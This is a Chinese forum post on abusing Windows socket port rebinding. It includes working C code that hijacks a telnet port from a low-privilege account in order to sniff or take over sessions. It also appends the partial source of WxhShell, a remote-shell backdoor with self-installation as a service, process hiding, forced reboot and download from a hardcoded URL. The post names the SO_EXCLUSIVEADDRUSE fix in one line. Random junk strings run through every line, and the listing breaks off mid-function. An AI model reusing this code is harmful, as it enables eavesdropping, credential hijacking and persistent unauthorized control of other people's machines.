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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a0Oe:]mo\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0? bA$y  
9w;?-  
  saddr.sin_family = AF_INET; 5b #QYu  
s[3fqdLP&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !UV5zmS  
J/D|4fC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %4>x!{jwV  
~hN~>0O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c"gsB!xh  
n l/UdgI  
  这意味着什么?意味着可以进行如下的攻击: 8zQfY^/{M  
!ZtSbOC'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MW Wu@SY  
Ar, 9U9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~waNPjPRG  
2BB<mv K4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N=,j}FY  
es.CLkuD7Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  LhJa)jFQ  
)3?rXsSR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ysXx%k  
B0mLI%B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "HQF.#\#  
*FgJ|y6gk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CyM}Hc&w  
%l9$a`&  
  #include  7 Yv!N  
  #include ZykrQ\q9  
  #include KS>$`ax,  
  #include    18!VO4u\I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |w)5;uQ&\  
  int main() J=WB6zi  
  { !G=>ve  
  WORD wVersionRequested; |KG&HN fP-  
  DWORD ret; !Rw&DFU  
  WSADATA wsaData; E'dX)J9e$/  
  BOOL val; 6* rcR]  
  SOCKADDR_IN saddr; `ti8-  
  SOCKADDR_IN scaddr; ,jh~;, w2  
  int err; a5wDm  
  SOCKET s; i+(GNcg2  
  SOCKET sc; Dm{Ok#@r2  
  int caddsize; T |"`8mG  
  HANDLE mt; )+~E8yK  
  DWORD tid;   9Vh_[^bR  
  wVersionRequested = MAKEWORD( 2, 2 ); a1x7~)z>zi  
  err = WSAStartup( wVersionRequested, &wsaData ); Z[IM<S9lz  
  if ( err != 0 ) { e6P[c=m #  
  printf("error!WSAStartup failed!\n"); -}<g-*m"q  
  return -1; snMQ"ju  
  } +l\<?  
  saddr.sin_family = AF_INET; T1~)^qQ  
   "n- pl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >A jCl  
!EFBI+?&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TgaYt\"i[  
  saddr.sin_port = htons(23); <f%/px%1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Q[>.):  
  { -0|K,k  
  printf("error!socket failed!\n"); W);W.:F  
  return -1; xh'^c^1  
  } eqFvrESN~=  
  val = TRUE; ePA;:8)_j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G(OFr2M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z\Ui8jo:;  
  { 5#uO'<2$  
  printf("error!setsockopt failed!\n"); 5+L8\V9;  
  return -1; :('I)C  
  }  X4I]9 t\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xXOw:A'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XS/n>C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V*qY"[   
{8m1dEC^@Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fv==Gu%{  
  { 1P5LH 5  
  ret=GetLastError(); !J# .!}3  
  printf("error!bind failed!\n"); v ($L  
  return -1; BI/y<6#rR  
  } ~gt3Omh  
  listen(s,2); ?aJ6ug  
  while(1) xwLy|&  
  { IK?]PmN4}  
  caddsize = sizeof(scaddr); 5c;En6W  
  //接受连接请求 AN10U;p/O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Mo|yv[(K ,  
  if(sc!=INVALID_SOCKET) jsWX 6(=  
  { WZ"W]Jyy{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); on5 0+)uN  
  if(mt==NULL) J#@lV  
  { dpn3 (  
  printf("Thread Creat Failed!\n"); .eTk=i[N-  
  break; x u,htx  
  } [Yvsa,2  
  }  1ZNNsB  
  CloseHandle(mt); FNJ!IkuR  
  } !3x *k;0  
  closesocket(s); ewQe/Fq  
  WSACleanup(); ,>w}xWSYpG  
  return 0; pzSqbgfrQ  
  }   {Q<0\`A  
  DWORD WINAPI ClientThread(LPVOID lpParam) %BICt @E  
  { Q?]w{f(  
  SOCKET ss = (SOCKET)lpParam; 4?]ZV_BD  
  SOCKET sc; 1 PIzV:L\  
  unsigned char buf[4096]; @LC~*_y   
  SOCKADDR_IN saddr; uQ1jwYK`7  
  long num; -$L(y@%X^  
  DWORD val; X 7&U3v  
  DWORD ret; @ RX`>r{_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |D(&w+(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *[ #*n n  
  saddr.sin_family = AF_INET; ^Y<M~K972  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?%;B`2 nDR  
  saddr.sin_port = htons(23); L5C2ng>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w .l|G,%=  
  { o'^phlX  
  printf("error!socket failed!\n"); Z"N(=B  
  return -1; kxy]vH6m  
  } id4]|jb  
  val = 100; qm}\?_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5% 'S  
  { V^vLN[8_\  
  ret = GetLastError(); g z`*|h  
  return -1; N6BNzN}-P  
  } pj@Yqg/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w5 Z2N[hy  
  { 9b%|^ .B  
  ret = GetLastError(); [yvt1:q  
  return -1; Vku#;:yUb^  
  } Un\Ubqi0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \gP. \  
  { /pU|ZA.z'2  
  printf("error!socket connect failed!\n"); i\vpGlx  
  closesocket(sc); Z?C4a }  
  closesocket(ss); w Oj88J)  
  return -1; >\&= [C  
  } V0S6M^\DK  
  while(1) Z !Z,M' "  
  { F`3^wHw^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +i4P,Lp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $>(9~Yh0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G V=OKf#  
  num = recv(ss,buf,4096,0); Md?acWE*L  
  if(num>0) c+wuC,  
  send(sc,buf,num,0); WN1Jm:5YV  
  else if(num==0) >F~ITk5`Oo  
  break; K7S754m  
  num = recv(sc,buf,4096,0); O&52o]k5l  
  if(num>0) d[" x= [f  
  send(ss,buf,num,0); 3Cd<p[%3#,  
  else if(num==0) [xWEf#', !  
  break; i#tbdx#  
  } J$#D:KaU:N  
  closesocket(ss); unJ iE!  
  closesocket(sc); |[DV\23{G  
  return 0 ; )kF2HF  
  } Pwg/Vhfh  
:+<t2^)rD  
EZ*t$3.T  
========================================================== Dl&PL  
x g{VP7  
下边附上一个代码,,WXhSHELL f~U#z7  
S;>4i!Mb ^  
========================================================== C)U #T)  
QYH."7X >  
#include "stdafx.h" !2#\| NJk  
~ t"n%SgY  
#include <stdio.h> 4p?+LdL  
#include <string.h> 8V,"Id][  
#include <windows.h> p8$\uo9YQ  
#include <winsock2.h> :|zp8|  
#include <winsvc.h> |$Qp0vOA}  
#include <urlmon.h> Kyu@>9Ok  
An/>0 5|  
#pragma comment (lib, "Ws2_32.lib") 9}.,2JE  
#pragma comment (lib, "urlmon.lib") U{HyxZ|q<  
n$IWoIdbGN  
#define MAX_USER   100 // 最大客户端连接数 *&h6*zP?  
#define BUF_SOCK   200 // sock buffer HE@-uh  
#define KEY_BUFF   255 // 输入 buffer prqyoCfq  
>eEnQ}Y  
#define REBOOT     0   // 重启 F9F" F  
#define SHUTDOWN   1   // 关机 )CFk`57U  
+jv }\Jt  
#define DEF_PORT   5000 // 监听端口 =obt"K%n  
J1nXAh)J  
#define REG_LEN     16   // 注册表键长度 'w'Dwqhmr  
#define SVC_LEN     80   // NT服务名长度 A\Lr<{Jh  
,eyp$^2  
// 从dll定义API V/@[%w=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8I<_w4fC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >).@Nb;e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #dHr&1(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r^fxyN2V  
h\/^Aa0  
// wxhshell配置信息 }!eF  
struct WSCFG { =7FE/S  
  int ws_port;         // 监听端口 $xLEA\s  
  char ws_passstr[REG_LEN]; // 口令 e',hC0&S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4u@yJ?U  
  char ws_regname[REG_LEN]; // 注册表键名 (6e!09P&  
  char ws_svcname[REG_LEN]; // 服务名 9qnuR'BDu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /]pX8 d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mgk64}K[n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h_AJI\{"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #8S [z5 `  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0T7M_G'5Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~o}moE/ ;O  
+dDJes!]  
}; <GSQ2bX[  
|*lH9lWJ  
// default Wxhshell configuration yBr$ 0$  
struct WSCFG wscfg={DEF_PORT, Q~x*bMb.  
    "xuhuanlingzhe", 37%`P \O;s  
    1, >|v=Ba6R0  
    "Wxhshell", zNNzsT8na  
    "Wxhshell", C<zx'lw!  
            "WxhShell Service", s'R~ r  
    "Wrsky Windows CmdShell Service", zfM<x,XdY  
    "Please Input Your Password: ", 9`OG  
  1, ,G916J*XA  
  "http://www.wrsky.com/wxhshell.exe", jK& Nkp  
  "Wxhshell.exe" l :f9Ih  
    }; 7~nIaT  
s 4MNVT  
// 消息定义模块 pI'8>_o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;5&k/CB1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $ijx#a&O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /&~nM  
char *msg_ws_ext="\n\rExit."; 71K\.[ =-  
char *msg_ws_end="\n\rQuit."; Na~g*)uT$  
char *msg_ws_boot="\n\rReboot..."; }~7H2d);-  
char *msg_ws_poff="\n\rShutdown..."; #N<s^KYG-  
char *msg_ws_down="\n\rSave to "; }T?i%l  
;m-6.AV  
char *msg_ws_err="\n\rErr!"; ~5-~q0Ge  
char *msg_ws_ok="\n\rOK!"; pP?<[ql[w  
h<PYE]?l  
char ExeFile[MAX_PATH]; *O2^{ C  
int nUser = 0; 4U}.Skzq  
HANDLE handles[MAX_USER]; ~Da >{zHt  
int OsIsNt; '?&B5C  
]hCWe0F  
SERVICE_STATUS       serviceStatus; s98: *o3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6|Ba  
q$e T!'x  
// 函数声明 3MS3O.0]/  
int Install(void); {Hktu|  
int Uninstall(void); a7QlU=\  
int DownloadFile(char *sURL, SOCKET wsh); 9$B)hrJo  
int Boot(int flag); WyKUvVi  
void HideProc(void); H}u)%qY+~  
int GetOsVer(void); ^N*pIVLC  
int Wxhshell(SOCKET wsl); T{5M1r  
void TalkWithClient(void *cs); 4<=eK7;XR  
int CmdShell(SOCKET sock); eukX#0/^  
int StartFromService(void); V Z4nAG  
int StartWxhshell(LPSTR lpCmdLine); mafAC73  
fJSV)\e0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (.jO:#eE%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?^e*UJNM  
z|t.y.JX  
// 数据结构和表定义 lW{I`r\]  
SERVICE_TABLE_ENTRY DispatchTable[] = )W_ Y3M,  
{ ,*9#c*'S  
{wscfg.ws_svcname, NTServiceMain}, z/ c'Z#w%  
{NULL, NULL} KDNTnA1c  
}; KD[)O7hYC  
@LwVmR |{  
// 自我安装 %8bFQNd  
int Install(void) `Gy>tD.#V-  
{ $6 Q2)^LJ  
  char svExeFile[MAX_PATH]; 7LyV`6{70  
  HKEY key; ^*$WZMMJ1  
  strcpy(svExeFile,ExeFile); NKIkd  
'ugR!o1  
// 如果是win9x系统,修改注册表设为自启动 S4@117z5  
if(!OsIsNt) { yKX:Z4I/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vZ1D3ytfG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $S"zxEJJ Y  
  RegCloseKey(key); HnH2u;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W#oEF/G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zD#+[XI]K  
  RegCloseKey(key); XY$cx~  
  return 0; =6"hj,[Q  
    } #/& q  
  } $w2[5|^S  
} +E""8kW- Z  
else { y$;zTH_6j  
+ik N) D  
// 如果是NT以上系统,安装为系统服务 b_)QBE9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]ci|$@V  
if (schSCManager!=0) (<5'ceF )X  
{ .PA ?N{z  
  SC_HANDLE schService = CreateService ]%ZjD  
  ( $AL|d[[T[  
  schSCManager, )nbyV a  
  wscfg.ws_svcname, Z;dwn~Tw  
  wscfg.ws_svcdisp, ^YB\\a9  
  SERVICE_ALL_ACCESS, 6w .iEb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , unbcz{&Hb[  
  SERVICE_AUTO_START, Ay[9k=q]  
  SERVICE_ERROR_NORMAL, [\ w>{  
  svExeFile, `siy!R  
  NULL, &`\kb2uep  
  NULL, ;Kq<',u~  
  NULL, n=#[Mi $Y  
  NULL, +(=[M]5#n  
  NULL @N:3`[oB  
  ); [3bwbfHhi  
  if (schService!=0) sov62wuqU  
  { ,M9hb<:m  
  CloseServiceHandle(schService); G1n>@Y'j''  
  CloseServiceHandle(schSCManager);  hE?GO,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); })yb   
  strcat(svExeFile,wscfg.ws_svcname); sB*h`vs0T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JqH.QnKcv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u0$5Fd&X  
  RegCloseKey(key); ]>]H:NEq  
  return 0; U%S NROj  
    } .jG.90  
  } 8 )2u@sx%  
  CloseServiceHandle(schSCManager); ES:p^/=*  
} *^&iw$Qx3  
} b^|,9en  
?),K=E+=U  
return 1; 6`{)p&9  
} cR@}   
T J"{nB  
// 自我卸载 s\K-(`j}  
int Uninstall(void) Snvj9Nr  
{ "MVN /Gl  
  HKEY key; EWvid4QEi  
fe]T9EDA  
if(!OsIsNt) { ^dp[ Z,[1z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ni;{\"Gt  
  RegDeleteValue(key,wscfg.ws_regname); =K&q;;h  
  RegCloseKey(key); &b#NF1Q.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i~M.F=I5  
  RegDeleteValue(key,wscfg.ws_regname); D\i8rqU/l  
  RegCloseKey(key); jind!@}!  
  return 0; ,hcBiL/  
  } {Ac3/UM/  
} h: (l+jr  
} q?b)zeJ  
else { QH56tQq  
;kcFQed\w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xdSj+507  
if (schSCManager!=0) i OA3x 8J  
{ lVK F^-i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {gq:sj>  
  if (schService!=0) Z{>Y':\?<  
  { ^SES')x  
  if(DeleteService(schService)!=0) { vN[m5)aT  
  CloseServiceHandle(schService); jl|X$w  
  CloseServiceHandle(schSCManager); i =+<7]Q  
  return 0; 9= ;g4I  
  } P|QnZ){  
  CloseServiceHandle(schService); YJ;a{)e  
  } ;R-Q,aCM}  
  CloseServiceHandle(schSCManager); u=?P*Y/|W  
} 'J<zVD}0  
} "\P~Re"EH  
Ffqn|} gb  
return 1; :Y&W)V-  
} ?F:C!_  
6(Rq R  
// 从指定url下载文件 n$VPh/  
int DownloadFile(char *sURL, SOCKET wsh) enO=-#  
{ Vf* B1Zb  
  HRESULT hr; d(cYtM,P  
char seps[]= "/"; )fcpE,g'  
char *token; [;\< 2=H  
char *file; `[R:L.H1  
char myURL[MAX_PATH]; ZJ'H y5?  
char myFILE[MAX_PATH]; \~m%4kzG8J  
LHGK!zI  
strcpy(myURL,sURL); {`SGB;ho  
  token=strtok(myURL,seps); "gVH;<&]  
  while(token!=NULL) QrRCsy70  
  { (inwKRH  
    file=token; v6(l#,  
  token=strtok(NULL,seps); nT6iS}h  
  } "MKsSty  
`rFGSq$9  
GetCurrentDirectory(MAX_PATH,myFILE); -)c"cgx.  
strcat(myFILE, "\\"); .*..pf|/  
strcat(myFILE, file); ?J1&,'&  
  send(wsh,myFILE,strlen(myFILE),0); Le+8s LE`Y  
send(wsh,"...",3,0); +]2~@=<@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o]k]pNO  
  if(hr==S_OK) 3xR#,22:}  
return 0; 9n2%7dLQ*  
else %.  }  
return 1; %1l80Z  
# SOj4W  
} bSKV|z/x  
M;@03 x W  
// 系统电源模块 yH0ZSv  
int Boot(int flag) 'g, x}6  
{ ]$%4;o4O  
  HANDLE hToken; gf8U &;  
  TOKEN_PRIVILEGES tkp; P bC>v  
}Z%{QJ$z  
  if(OsIsNt) { YV+dUvz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s%re>)=|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *" +cP!  
    tkp.PrivilegeCount = 1; rb4g<f|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ."g5+xX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); faeyk]u  
if(flag==REBOOT) { 8&iI+\lCy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ))-M+CA  
  return 0; :re(khZq#  
} (B4 A$t  
else { `SpS?mWA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 00 ,j neF  
  return 0; [WSIC *|;  
} H s 3*OhK\  
  } omU)hFvyS  
  else { U-N/Z\QD  
if(flag==REBOOT) { b-gVRf#F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ol^EQLO  
  return 0; 9O_N iu0  
} QE6-(/  
else { W- B[_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fi}rv[`XY[  
  return 0; yM~D.D3H  
} !!pi\J?sk  
} gDBQ\vM8  
nf^k3QS\  
return 1; t|,Ex7  
} e;Z`&  
+ opN\`  
// win9x进程隐藏模块 {;~iq  
void HideProc(void) '%7]xp  
{ {Z;GNMO:  
jCa;g{#@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,3[<C)'[  
  if ( hKernel != NULL ) 2fA9L _:0  
  { y6yseR!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $+N^ s^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S :|*wB  
    FreeLibrary(hKernel); U6 R4UK  
  } *XR~fs?/*W  
}J lW\#  
return; I=-;*3g6  
} [Y~s  
a-hGpYJJG  
// 获取操作系统版本 H(m+rk  
int GetOsVer(void) Um|Tf]q  
{ BGjTa.&  
  OSVERSIONINFO winfo; |ZzBCL8q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nA j2k  
  GetVersionEx(&winfo); tS@/Bq('B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D'+8]B  
  return 1; >C66X?0cd  
  else 1W7BN~p14  
  return 0; h0pr"]sO;$  
} S?tLIi/  
Ku'U^=bVm:  
// 客户端句柄模块 Wuz~$SU  
int Wxhshell(SOCKET wsl) X"GQ^]$O  
{ Hvk?(\x  
  SOCKET wsh; QyQ8M1m  
  struct sockaddr_in client; <us{4 %  
  DWORD myID; p+?WhxG)  
e@By@r&nql  
  while(nUser<MAX_USER) %j; cXN  
{ G-<~I#k  
  int nSize=sizeof(client); aC` c^'5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v Rs5-T  
  if(wsh==INVALID_SOCKET) return 1; m$g^On  
C_)>VPD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iB-s*b<`~  
if(handles[nUser]==0) }aIf IJ  
  closesocket(wsh); c,ek]dTj  
else O,v$'r W  
  nUser++; *5)!y d  
  } >$F]Ss)$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3!W&J  
RkM!BcB  
  return 0; b>WT-.b0  
} )P])0Y-  
I-"{m/PEdg  
// 关闭 socket n5/Q)*e0'#  
void CloseIt(SOCKET wsh)  (v}:  
{ YJ$ =`lIM  
closesocket(wsh); kRPg^Fw"Vw  
nUser--; 0rUf'S ?K  
ExitThread(0); @9a=D<'>  
} s,x]zG"  
A@r,A?(  
// 客户端请求句柄 $Plk4 o*g  
void TalkWithClient(void *cs) Tkf !Y?  
{ yL-L2  
X;tk\Ixd  
  SOCKET wsh=(SOCKET)cs; E .5xzY  
  char pwd[SVC_LEN]; }fZBP]<I(  
  char cmd[KEY_BUFF]; VCO/s9AL  
char chr[1]; -%|I  
int i,j; <i-RF-*S  
l<?wB|1'  
  while (nUser < MAX_USER) { NBX/V^  
*Yw6UCO  
if(wscfg.ws_passstr) { 70eN]OY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Ib\v88WIv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d\M !o*U  
  //ZeroMemory(pwd,KEY_BUFF); 7&1: ]{_  
      i=0; {{\HU0g>&  
  while(i<SVC_LEN) { Z%R^;8!~  
Dl{Pd`D  
  // 设置超时 ,d#4Ib  
  fd_set FdRead; cALs;)z  
  struct timeval TimeOut; %s>E@[s  
  FD_ZERO(&FdRead); %+~0+ev7r  
  FD_SET(wsh,&FdRead); 75f.^4/%  
  TimeOut.tv_sec=8; ?a@l.ZM*  
  TimeOut.tv_usec=0; *VB*/^6A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ix;8S=eP~{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^(R gSMuT`  
|Oe6OCPf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,fn=%tiUk  
  pwd=chr[0]; }=gGs  
  if(chr[0]==0xd || chr[0]==0xa) { <*P1Sd.  
  pwd=0; O/Vue  
  break; XJ9>a-{  
  } 2Z~o frj  
  i++; gN%R-e0  
    } `Ec+i  
MZ'HMYed   
  // 如果是非法用户,关闭 socket ZUycJ-[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [aC(Ga}  
} }- Sr@bE  
RiklwR#~r/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \N30SG ?o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?AE%N.rnsi  
UuGv= yC^6  
while(1) { ^&Bye?`5  
_17"T0  
  ZeroMemory(cmd,KEY_BUFF); mD! imq%=  
3-'|hb  
      // 自动支持客户端 telnet标准   gK /K Z8  
  j=0; 4)_ [)MZ\j  
  while(j<KEY_BUFF) { OuoZd!"qf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $)3/N&GXR  
  cmd[j]=chr[0]; `m5iZxhw  
  if(chr[0]==0xa || chr[0]==0xd) { V.J%4&^X  
  cmd[j]=0; ZfU_4Pl->  
  break; @u^Ib33  
  } !k:j+h/  
  j++; sp%7iNs  
    } JLhp25{x  
^^m%[$nw&r  
  // 下载文件 SzgVvmM}  
  if(strstr(cmd,"http://")) { IF=rD-x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j^gF~ Wz^  
  if(DownloadFile(cmd,wsh)) -nW-I\d%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i!NGX  
  else (ZYOm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @cON"(  
  } \xt!b^d0  
  else { LBg#KQ @  
)lbF'.i  
    switch(cmd[0]) { pmC@ fB  
  e042`&9=Ic  
  // 帮助 Rd2[xk  
  case '?': { (<12&=WxE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wZ^/-  
    break; [kCn6\_<V  
  } 2rxdRg'YLQ  
  // 安装 z,)Fvs4U.  
  case 'i': { m#Cp.|>kP4  
    if(Install()) \ys3&<;b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2.6,c$2tB  
    else cMj<k8.{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x\*5A,w{c]  
    break; #xmUND`@  
    } *jYwcW"R{z  
  // 卸载 -&c@c@dC  
  case 'r': { {PU[MHZF  
    if(Uninstall()) k@w&$M{tPF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E^g6,Y:i9  
    else #\}hN~@F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X_h+\ 7N>  
    break; 1||e !W  
    } V1ug.Jv^  
  // 显示 wxhshell 所在路径 @wo9;DW`  
  case 'p': { &c]x;#-y  
    char svExeFile[MAX_PATH]; ;j$84o{  
    strcpy(svExeFile,"\n\r"); 8)i\d`  
      strcat(svExeFile,ExeFile); ,"D1!0  
        send(wsh,svExeFile,strlen(svExeFile),0); G 5)?!  
    break; _?{2{^v  
    } 6c2fqAF>i  
  // 重启 BjA|H  
  case 'b': { txi m|)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :A[ Gtc(_  
    if(Boot(REBOOT)) @y,p-##e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '!_o`t@  
    else { uuq?0t2Z  
    closesocket(wsh); VR'w$mp  
    ExitThread(0); b c+' n  
    } hJ|z8Sy@1  
    break; TqWvHZX  
